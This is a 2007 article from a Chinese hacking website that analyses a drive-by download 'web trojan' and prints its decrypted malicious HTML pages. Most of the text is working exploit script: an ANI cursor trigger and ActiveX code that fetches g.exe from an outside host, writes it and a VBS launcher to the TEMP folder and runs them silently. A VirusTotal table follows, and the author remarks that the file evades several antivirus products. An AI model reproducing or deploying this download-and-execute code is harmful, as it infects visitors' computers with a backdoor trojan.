黑客风云——风云网络
设为首页　加入收藏　我要投稿　网站地图

您现在的位置： 黑客风云 >> 黑客文章 >> 黑客进阶 >> 木马天地 >> 正文
·没有路由密码权限时的鸽08-23·上网安全 Vista自我防范10-11
·让濒临崩溃的Windows XP10-11·有备无患，快速自制救急10-11
·要你好看!Windows看图工10-11·空间赞助网提供不同类型10-11
·讨论net.exe和net1.exe的10-10·让3389远程桌面传输更通10-10
·巧妙入侵渗透赌博站10-10·Aspx空间扫权限工具10-10
·Windows2003最新提权工具10-10·易淘乐提供100M免费全能10-10
·系统开机密码忘了不着急10-09·中意网络提供免费100M免10-09
·与众不同 Windows XP开始10-08·让桌面图标翻跟斗 在XP上10-08
·上海宽元站长资助计划-提10-08·个性化Windows XP的任务10-07
·趣盘提供3G免费网络硬盘10-07·秀山热线提供200MB免费全10-07
·一次艰辛的提权过程10-06·成功入侵IT大卖场的渗透10-06
·mysqlhack- MYSQL利用工10-06·lanker一句话PHP后门客户10-06
·WIXI提供3G免费多媒体网10-06·新人网络提供100M/ftp免10-06
·如何利用QQ带来高流量10-05·UuShare提供免费网络文件10-05
[组图]分析ANI智能网马挂马
   热 荐  ★★★★★

分析ANI智能网马挂马

文章整理发布：黑客风云 文章来源：www.05112.com 更新时间：2007-6-8 9:14:25

挂了三个所谓的vip的加密网马，解密内容：

1、vip[1].htm

以下是代码片段：
<DIV style="CURSOR: url(ah.c)"></DIV>
<script type="text/jscript">function init() { document.write("");}window.onload = init;</script>



2、vip1[1].htm

以下是代码片段：
<noscript>
<iframe src=*></iframe>
</noscript>
<script language="JavaScript">
<!--
document.writeln("<script>var ailian,zhan;ailian=\"<http://baobao3.slsbg.com/g.exe\";zhan=\"Microsoft.com\";try{var ado=(document.createElement(\"object\"));var d=1;ado.setAttribute(\"classid\",\"clsid:BD96C556-65A3-11D0-983A-00C04FC29E36\");var e=1;var xml=ado.CreateObject(\"Microsoft.XMLHTTP\",\"\");var f=1;var ln=\"Ado\";var lzn=\"db.St\";var an=\"ream\";var g=1;var as=ado.createobject(ln+lzn+an,\"\");var h=1;xml.Open(\"GET\",ailian,0);xml.Send();as.type=1;var n=1;as.open();as.write(xml.responseBody);as.savetofile(zhan,2);as.close();var shell=ado.createobject(\"Shell.Application\",\"\");shell.Shellexecute(zhan,\"\",\"\",\"open\",0);}catch(e){};</script\>");
//-->
</script>
<script type="text/jscript">function init() { document.write("");}window.onload = init;</script>


3、vip2[1].htm

以下是代码片段：
<noscript>
<iframe src=*></iframe>
</noscript>
<script>
document.writeln("<script language=\"javaScript\">");
document.writeln("ZhanLang=\"http://baobao3.slsbg.com/g.exe\"");
document.writeln("ZhanLang1=\"Microsoft.com\"");
document.writeln("ZhanLang2=\"Microsoft.vbs\"");
document.writeln("ln=\"BD96C556-65A3-11D0-983A-00C04FC29E36\"");
document.writeln("function Log(QQ7999327)");
document.writeln("{");
document.writeln(" var log=document.createElement(\'p\');");
document.writeln("       log.innerHTML=QQ7999327;");
document.writeln("}");
document.writeln("function CreateO(o,n)");
document.writeln("{");
document.writeln(" var r=null;");
document.writeln(" try");
document.writeln("     {");
document.writeln("      eval(\'r=o.CreateObject(n)\')");
document.writeln("     }");
document.writeln(" catch(e)");
document.writeln("     {}");
document.writeln(" if (!r)");
document.writeln("     {");
document.writeln("      try");
document.writeln("       {");
document.writeln("        eval(\'r=o.CreateObject(n,\"\")\')");
document.writeln("       }");
document.writeln("      catch(e)");
document.writeln("       {}");
document.writeln("     }");
document.writeln(" if(!r)");
document.writeln("     {");
document.writeln("      try");
document.writeln("        {");
document.writeln("         eval(\'r=o.CreateObject(n,\"\",\"\")\')");
document.writeln("        }");
document.writeln("      catch(e)");
document.writeln("       {}");
document.writeln("     }");
document.writeln(" if (!r)");
document.writeln("    {");
document.writeln("     try");
document.writeln("       {");
document.writeln("        eval(\'r=o.GetObject(\"\",n)\')");
document.writeln("       }");
document.writeln("     catch(e)");
document.writeln("       {}");
document.writeln("    }");
document.writeln(" if (!r)");
document.writeln("     {");
document.writeln("      try");
document.writeln("        {");
document.writeln("         eval(\'r=o.GetObject(n,\"\")\')");
document.writeln("        }");
document.writeln("      catch(e)");
document.writeln("        {}");
document.writeln("     }");
document.writeln(" if (!r)");
document.writeln("     {");
document.writeln("      try");
document.writeln("        {");
document.writeln("         eval(\'r=o.GetObject(n)\')");
document.writeln("        }");
document.writeln("      catch(e)");
document.writeln("        {}");
document.writeln("     }");
document.writeln(" return(r);");
document.writeln("}");
document.writeln("function Go(a)");
document.writeln("{");
document.writeln(" Log(\'\');");
document.writeln(" Zhong=\"WScript.S\";");
document.writeln(" ZhongJieZhe=Zhong;");
document.writeln(" var s=CreateO(a,ZhongJieZhe+\"hell\");");
document.writeln(" var o=CreateO(a,\"ADODB.Stream\");");
document.writeln(" var ip=CreateO(a,\"ADODB.Stream\");");
document.writeln(" var e=s.Environment(\"Process\");");
document.writeln(" Log(\'\');");
document.writeln(" var url=ZhanLang;");
document.writeln(" var Lang=e.Item(\"TEMP\")+\"\\\\\"+ZhanLang1;");
document.writeln(" var Zhan=e.Item(\"TEMP\")+\"\\\\\"+ZhanLang2;");
document.writeln(" var vip=null;");
document.writeln(" var kn;");
document.writeln(" kn=\"Set Shell = CreateObject(\\\"Wscript.Shell\\\")\";");
document.writeln(" kn=kn+\"\\n\"+\"Shell.Run(\\\"\"+Lang+\"\\\")\";");
document.writeln(" kn=kn+\"\\n\"+\"set Shell=Nothing\";");
document.writeln(" ip.Mode=3;");
document.writeln(" ip.Open();");
document.writeln(" ip.Charset = \"GB2312\";");
document.writeln(" ip.Position = ip.Size;");
document.writeln(" ip.WriteText=kn;");
document.writeln(" ip.SaveToFile(Zhan,2);");
document.writeln(" try");
document.writeln("     {");
document.writeln("      vip=new XMLHttpRequest();");
document.writeln("     }");
document.writeln(" catch(e)");
document.writeln("    {");
document.writeln("     try");
document.writeln("       {");
document.writeln("        vip=new ActiveXObject(\"Microsoft.XMLHTTP\");");
document.writeln("       }");
document.writeln("     catch(e)");
document.writeln("       {");
document.writeln("        vip=new ActiveXObject(\"MSXML2.ServerXMLHTTP\");");
document.writeln("       }");
document.writeln("    }");
document.writeln(" if (!vip) return(0);");
document.writeln(" Log(\'\');");
document.writeln(" vip.open(\"GET\",url,false);");
document.writeln(" vip.send(null);");
document.writeln(" kn=vip.responseBody;");
document.writeln(" Log(\'\');");
document.writeln(" o.Type=1;");
document.writeln(" o.Mode=3;");
document.writeln(" o.Open();");
document.writeln(" o.Write(kn);");
document.writeln(" o.SaveToFile(Lang,2);");
document.writeln(" Log(\'\');");
document.writeln(" s.Run(Zhan,0);");
document.writeln("}");
document.writeln("function Exploit()");
document.writeln("{");
document.writeln(" var i=0;");
document.writeln(" var tt=new Array(\'{ln}\',\'{BD96C556-65A3-11D0-983A-00C04FC29E36}\',\'{AB9BCEDD-EC7E-47E1-9322-D4A210617116}\',\'{0006F033-0000-0000-C000-000000000046}\',\'{0006F03A-0000-0000-C000-000000000046}\',\'{6e32070a-766d-4ee6-879c-c1fa91d2fc3}\',\'{6414512B-B978-451D-A0D8-FCFDF33E833C}\',\'{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}\',\'{06723E09-F4C2-43c8-8358-09FCD1DB0766}\',\'{639F725F-1B2D-4831-A9FD-874847682010}\',\'{BA018599-1DB3-44f9-83B4-461454C84BF8}\',\'{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}\',\'{E8CCCDDF-CA28-496b-B050-6C07C962476B}\',null);");
document.writeln("while (true)");
document.writeln("     { t=tt[i];");
document.writeln("       if (t==null)");
document.writeln("         {");
document.writeln("          return(0);");
document.writeln("         }");
document.writeln("       var a=null;");
document.writeln("       if (t.substring(0,1)==\'{\')");
document.writeln("         {");
document.writeln("          try{");
document.writeln("             a=document.createElement(\"object\");");
document.writeln("             a.setAttribute(\"classid\",\"clsid:\"+t.substring(1,t.length-1));");
document.writeln("            }");
document.writeln("          catch(e)");
document.writeln("            {}");
document.writeln("         }");
document.writeln("       else");
document.writeln("         {");
document.writeln("          try{");
document.writeln("             a=new ActiveXObject(t);");
document.writeln("            }");
document.writeln("          catch(e)");
document.writeln("            {}");
document.writeln("         }");
document.writeln("       if (a)");
document.writeln("         {");
document.writeln("          try");
document.writeln("            {");
document.writeln("             var b=CreateO(a,\"WScript.Shell\");");
document.writeln("             if (b)");
document.writeln("               {");
document.writeln("                Log(\'\');");
document.writeln("                Go(a);");
document.writeln("                return(0);");
document.writeln("               }");
document.writeln("            }");
document.writeln("          catch(e)");
document.writeln("            {}");
document.writeln("         }");
document.writeln("       i++;");
document.writeln("      }");
document.writeln("    Log(\'\');");
document.writeln("}");
document.writeln(" Exploit()");
document.writeln("");
document.writeln("<\/script>");
</script>
<script type="text/jscript">function init() { document.write("");}window.onload = init;</script>

对所的木马g[1].exe上传到http://www.virustotal.com/en/indexf.html.得到如下：

Antivirus Version Update Result
AhnLab-V3 2007.5.30.0 05.30.2007 Win-Trojan/Hupigon.Gen
AntiVir 7.4.0.29 05.30.2007 HEUR/Malware
Authentium 4.93.8 05.23.2007 could be infected with an unknown virus
Avast 4.7.997.0 05.30.2007 no virus found
AVG 7.5.0.467 05.30.2007 no virus found
BitDefender 7.2 05.31.2007 BehavesLike:Win32.ExplorerHijack
CAT-QuickHeal 9.00 05.30.2007 no virus found
ClamAV devel-20070416 05.30.2007 no virus found
DrWeb 4.33 05.30.2007 DLOADER.Trojan
eSafe 7.0.15.0 05.30.2007 suspicious Trojan/Worm
eTrust-Vet 30.7.3678 05.30.2007 no virus found
Ewido 4.0 05.29.2007 no virus found
FileAdvisor 1 05.31.2007 no virus found
Fortinet 2.85.0.0 05.31.2007 no virus found
F-Prot 4.3.2.48 05.30.2007 no virus found
F-Secure 6.70.13030.0 05.30.2007 no virus found
Ikarus T3.1.1.8 05.30.2007 Trojan.Win32.Delf.vb
Kaspersky 4.0.2.24 05.31.2007 no virus found
McAfee 5042 05.30.2007 no virus found
Microsoft 1.2503 05.31.2007 no virus found
NOD32v2 2299 05.30.2007 probably a variant of Win32/Genetik
Norman 5.80.02 05.30.2007 no virus found
Panda 9.0.0.4 05.30.2007 Suspicious file
Prevx1 V2 05.31.2007 no virus found
Sophos 4.18.0 05.28.2007 no virus found
Sunbelt 2.2.907.0 05.30.2007 no virus found
Symantec 10 05.31.2007 no virus found
TheHacker 6.1.6.126 05.30.2007 no virus found
VBA32 3.12.0 05.30.2007 suspected of Backdoor.GrayBird.1 (paranoid heuristics)
VirusBuster 4.3.23:9 05.30.2007 no virus found
Webwasher-Gateway 6.0.1 05.31.2007 Heuristic.Malware

过Kaspersky、McAfee、AVG等杀毒软件，看来还是做了些免杀动作的。

上一页  [1] [2] 

文章录入：cainiaowang    责任编辑：cainiaowang 
  • 上一篇文章：

  • 下一篇文章：
    • 【字体：小 大】
    中介交易区
    最 新 热 门
    后门程序知识完全解析01-14
    2007年度网马漏洞不完全总结01-09
    简单修改木马壳头让卡巴斯基哑口09-22
    ASPX一句话木马--终极版&详细分析08-11
    认识使用 Rootkit技术的木马06-12
    分析ANI智能网马挂马06-08
    Flash木马是这样练成的05-18
    XML木马研究05-18
    脚本图片类后门病毒的完美使用方05-16
    两个批量挂马脚本05-11
    黑客技术之打造不死的ASP木马的方04-20
    php后门插在图片里执行回显思路04-06
    相 关 文 章
    MS08-052 WMF漏洞分析及漏洞检测
    dedecms tag.php注入漏洞分析与利用
    暴风影音2008Beta1 最新远程溢出0day 分
    Oblog最新注入漏洞分析
    flash漏洞所用shellcode的分析
    dvbbs 8.2 SQL注射漏洞分析
    网马的运行分析续篇
    网马的运行分析
    对趋势科技等数万网站被攻击的分析
    最新Oblog4.6注入漏洞分析之二
    Oblog注入漏洞分析
    《SQL注入高级技巧nowthk篇》的深入分析
    Copyright ＠2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
    ICP备案：冀06009886